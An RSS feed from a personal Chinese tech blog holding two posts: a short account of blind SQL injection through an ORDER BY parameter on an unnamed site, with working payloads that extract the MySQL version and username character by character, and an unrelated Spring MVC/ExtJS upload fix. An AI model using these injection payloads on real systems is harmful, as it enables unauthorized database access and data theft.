<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Neeke</title>
	<atom:link href="http://www.ineeke.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ineeke.com</link>
	<description>悄悄记录点点滴滴</description>
	<lastBuildDate>Sat, 07 Jan 2012 13:04:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>MySQL盲注</title>
		<link>http://www.ineeke.com/archives/1415/</link>
		<comments>http://www.ineeke.com/archives/1415/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 03:08:30 +0000</pubDate>
		<dc:creator>Neeke</dc:creator>
				<category><![CDATA[信息安全]]></category>
		<category><![CDATA[SQL盲注]]></category>
		<category><![CDATA[webshell]]></category>
		<category><![CDATA[入侵渗透]]></category>
		<category><![CDATA[盲注入侵]]></category>

		<guid isPermaLink="false">http://www.ineeke.com/?p=1415</guid>
		<description><![CDATA[原文已经应要求删除了，后来想了想觉得我还是有必要记录一下的，只不过不再类似之前实战或现场直播带插图式，不提名挂号。更新一次博客不容易呀！ 有个注入点接收如下几个参数： category=4&#038;limit1=0&#038;limit2=1&#038;order=desc&#038;orderColumn=1 根据这几个参数，大致就可以猜出SQL语句如下： SELECT * FROM iNeeke WHERE category = 4 ORDER BY 1 DESC LIMIT 0,0; 一般注入的时候都是用“category = 4 and where 1=2 union select &#8230;”或“limit 0,1 union select &#8230;”来改变结果集的，但从上面的SQL看来后者是不行的，因为在“order by”后面不能出现“union”，而category参数也做了过滤，也就行不通了。 现在只能在orderColumn这个参数上下功夫了，它改变不了查询结果，但是可以想办法它查询成功或查询出错，这样就可以盲注了，这里参考了一下老君的文章：http://www.oldjun.com/blog/index.php/archives/62/ 然后开始拼装SQL： 查版本： category=4&#038;limit1=0&#038;limit2=1&#038;order=desc&#038;orderColumn=1,(select case when(select substring(version(),1,1) > 5) then 1 else 1*(select 1 union select 2)end)=1 查当前MySQL用户名长度： category=4&#038;limit1=0&#038;limit2=1&#038;order=desc&#038;orderColumn=1,(select case when(select length(user()) > [...]<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="黑色小亮的博客是这么被XXOO的" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1390%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/07/09/16753094.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">黑色小亮的博客是这么被XXOO的</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="无意中入侵一台Windows Server 2008" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1179%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/05/7679200.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">无意中入侵一台Windows Server 2008</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="多思路WEB入侵" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F770%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">多思路WEB入侵</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="高中母校网站被黑客LJ了" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1337%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/18/8853470.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">高中母校网站被黑客LJ了</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="入侵需要时机和运气" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F839%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">入侵需要时机和运气</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>原文已经应要求删除了，后来想了想觉得我还是有必要记录一下的，只不过不再类似之前实战或现场直播带插图式，不提名挂号。更新一次博客不容易呀！<br />
<span id="more-1415"></span><br />
有个注入点接收如下几个参数：<br />
<code>category=4&#038;limit1=0&#038;limit2=1&#038;order=desc&#038;orderColumn=1</code><br />
根据这几个参数，大致就可以猜出SQL语句如下：</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> iNeeke <span style="color: #993333; font-weight: bold;">WHERE</span> category <span style="color: #66cc66;">=</span> <span style="color: #cc66cc;">4</span> <span style="color: #993333; font-weight: bold;">ORDER</span> <span style="color: #993333; font-weight: bold;">BY</span> <span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">DESC</span> <span style="color: #993333; font-weight: bold;">LIMIT</span> <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">0</span>;</pre></div></div>

<p>一般注入的时候都是用“category = 4 and where 1=2 union select &#8230;”或“limit 0,1 union select &#8230;”来改变结果集的，但从上面的SQL看来后者是不行的，因为在“order by”后面不能出现“union”，而category参数也做了过滤，也就行不通了。<br />
现在只能在orderColumn这个参数上下功夫了，它改变不了查询结果，但是可以想办法它查询成功或查询出错，这样就可以盲注了，这里参考了一下老君的文章：http://www.oldjun.com/blog/index.php/archives/62/<br />
然后开始拼装SQL：<br />
查版本：<br />
<code>category=4&#038;limit1=0&#038;limit2=1&#038;order=desc&#038;orderColumn=1,(select case when(select substring(version(),1,1) > 5) then 1 else 1*(select 1 union select 2)end)=1</code><br />
查当前MySQL用户名长度：<br />
<code>category=4&#038;limit1=0&#038;limit2=1&#038;order=desc&#038;orderColumn=1,(select case when(select length(user()) > 10) then 1 else 1*(select 1 union select 2)end)=1</code><br />
查当前MySQL用户名第一个字符内容：<br />
<code>category=4&#038;limit1=0&#038;limit2=1&#038;order=desc&#038;orderColumn=1,(select case when(select ascii(substring(user(),1,1)) = 120) then 1 else 1*(select 1 union select 2)end)=1</code><br />
以此类推，什么库名，表明，字段，数据都能搞出来，只是手工盲注太累人了&#8230;<br />
就这么着吧，不过感觉这东西还可以再深入研究。</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="黑色小亮的博客是这么被XXOO的" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1390%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/07/09/16753094.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">黑色小亮的博客是这么被XXOO的</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="无意中入侵一台Windows Server 2008" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1179%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/05/7679200.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">无意中入侵一台Windows Server 2008</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="多思路WEB入侵" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F770%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">多思路WEB入侵</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="高中母校网站被黑客LJ了" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1337%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/18/8853470.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">高中母校网站被黑客LJ了</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="入侵需要时机和运气" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F839%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">入侵需要时机和运气</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.ineeke.com/archives/1415/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>Spring MVC ExtJS4文件上传</title>
		<link>http://www.ineeke.com/archives/1414/</link>
		<comments>http://www.ineeke.com/archives/1414/#comments</comments>
		<pubDate>Tue, 06 Dec 2011 02:16:57 +0000</pubDate>
		<dc:creator>Neeke</dc:creator>
				<category><![CDATA[ExtJS]]></category>
		<category><![CDATA[Spring]]></category>
		<category><![CDATA[Spring MVC]]></category>
		<category><![CDATA[文件上传]]></category>

		<guid isPermaLink="false">http://www.ineeke.com/?p=1414</guid>
		<description><![CDATA[做文件上传的时候遇到点麻烦，ExtJS上传文件要求服务器端返回的ContentType是“text/html”，而Spring MVC默认返回的是“application/json”，于是ExtJS这边总是报错说无法将”&#60;pre&#62;{success: true}&#60;/pre&#62;”转换成JSON，很奇怪的一件事就是：为什么会出现pre标签呢？ 先看看当前服务器端的代码： 1 2 3 4 5 6 7 8 public @ResponseBody Map&#60;String, Object&#62; upload&#40;UserVO userVO&#41;&#123; Map&#60;String, Object&#62; modelMap = new HashMap&#60;String, Object&#62;&#40;&#41;; if&#40;!userVO.getUserPhoto&#40;&#41;.isEmpty&#40;&#41;&#41;&#123; userVO.getUserPhoto&#40;&#41;.transferTo&#40;new File&#40;&#34;文件存放路径&#34;&#41;&#41;; &#125; modelMap.put&#40;&#34;success&#34;, true&#41;; return modelMap; &#125; 用上面这种方式处理的时候，文件上传了成功了，但是就会出现文章开头所描述的问题，于是我改成这样： 1 2 3 4 5 6 public void upload&#40;UserVO userVO, HttpServletResponse response&#41;&#123; String json = &#34;{success: true}&#34;; response.setContentType&#40;&#34;text/html&#34;&#41;; response.getWriter&#40;&#41;.write&#40;json&#41;; response.flushBuffer&#40;&#41;; [...]<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="Spring MVC 文件上传" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1124%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/12/8522888.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Spring MVC 文件上传</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Spring MVC+Hibernate自动注入sessionFactory" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1262%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Spring MVC+Hibernate自动注入sessionFactory</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Spring MVC" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1117%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/12/8522888.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Spring MVC</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Spring依赖注入" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F843%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Spring依赖注入</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Spring中Bean的作用域" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F846%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Spring中Bean的作用域</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>做文件上传的时候遇到点麻烦，ExtJS上传文件要求服务器端返回的ContentType是“text/html”，而Spring MVC默认返回的是“application/json”，于是ExtJS这边总是报错说无法将”&lt;pre&gt;{success: true}&lt;/pre&gt;”转换成JSON，很奇怪的一件事就是：为什么会出现pre标签呢？<br />
<span id="more-1414"></span><br />
先看看当前服务器端的代码：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> @ResponseBody Map<span style="color: #339933;">&lt;</span>String, Object<span style="color: #339933;">&gt;</span> upload<span style="color: #009900;">&#40;</span>UserVO userVO<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	Map<span style="color: #339933;">&lt;</span>String, Object<span style="color: #339933;">&gt;</span> modelMap <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> HashMap<span style="color: #339933;">&lt;</span>String, Object<span style="color: #339933;">&gt;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>userVO.<span style="color: #006633;">getUserPhoto</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">isEmpty</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		userVO.<span style="color: #006633;">getUserPhoto</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">transferTo</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">File</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;文件存放路径&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	modelMap.<span style="color: #006633;">put</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;success&quot;</span>, <span style="color: #000066; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">return</span> modelMap<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>用上面这种方式处理的时候，文件上传了成功了，但是就会出现文章开头所描述的问题，于是我改成这样：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> upload<span style="color: #009900;">&#40;</span>UserVO userVO, HttpServletResponse response<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #003399;">String</span> json <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;{success: true}&quot;</span><span style="color: #339933;">;</span>
	response.<span style="color: #006633;">setContentType</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;text/html&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	response.<span style="color: #006633;">getWriter</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">write</span><span style="color: #009900;">&#40;</span>json<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	response.<span style="color: #006633;">flushBuffer</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>现在，ExtJS不会报错了，也成功触发了Form的success事件，但是服务器端又报错了，说是无法找到”upload.jsp”，其实我请求的是”upload.action”，而且也成功响应了，但是不知道为什么，Spring貌似是将”action”替换成”jsp”又转发跳转了一下，百度谷歌无解！<br />
其实，最最主要的就是能够将response的ContextType设置为“text/xml”就没问题了。参考Spring的文档找到解决办法如下：<br />
方法一：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> ResponseEntity<span style="color: #339933;">&lt;</span>String<span style="color: #339933;">&gt;</span> upload<span style="color: #009900;">&#40;</span>UserVO userVO<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #003399;">String</span> json <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;{success: true}&quot;</span><span style="color: #339933;">;</span>
	HttpHeaders responseHeaders <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> HttpHeaders<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	responseHeaders.<span style="color: #006633;">setContentType</span><span style="color: #009900;">&#40;</span>MediaType.<span style="color: #006633;">TEXT_HTML</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">return</span> <span style="color: #000000; font-weight: bold;">new</span> ResponseEntity<span style="color: #339933;">&lt;</span>String<span style="color: #339933;">&gt;</span><span style="color: #009900;">&#40;</span>json, responseHeaders, HttpStatus.<span style="color: #006633;">OK</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>方法二：<br />
先在messageConverters中配置StringHttpMessageConverter：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;bean</span> <span style="color: #000066;">class</span>=<span style="color: #ff0000;">&quot;org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
		<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;bean</span> <span style="color: #000066;">class</span>=<span style="color: #ff0000;">&quot;org.springframework.web.bind.support.ConfigurableWebBindingInitializer&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/property<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;property</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;messageConverters&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
		<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;list<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
			<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;bean</span> class = <span style="color: #ff0000;">&quot;org.springframework.http.converter.StringHttpMessageConverter&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span> 
				<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;property</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;supportedMediaTypes&quot;</span> <span style="color: #000066;">value</span>=<span style="color: #ff0000;">&quot;text/html;charset=UTF-8&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span> 
			<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/bean<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
		<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/list<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/property<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/bean<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></td></tr></table></div>

<p>然后在这样就OK了（注意：方法的返回类型必须是String）：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> @ResponseBody <span style="color: #003399;">String</span> upload<span style="color: #009900;">&#40;</span>UserVO userVO<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #003399;">String</span> json <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;{success: true}&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">return</span> json<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

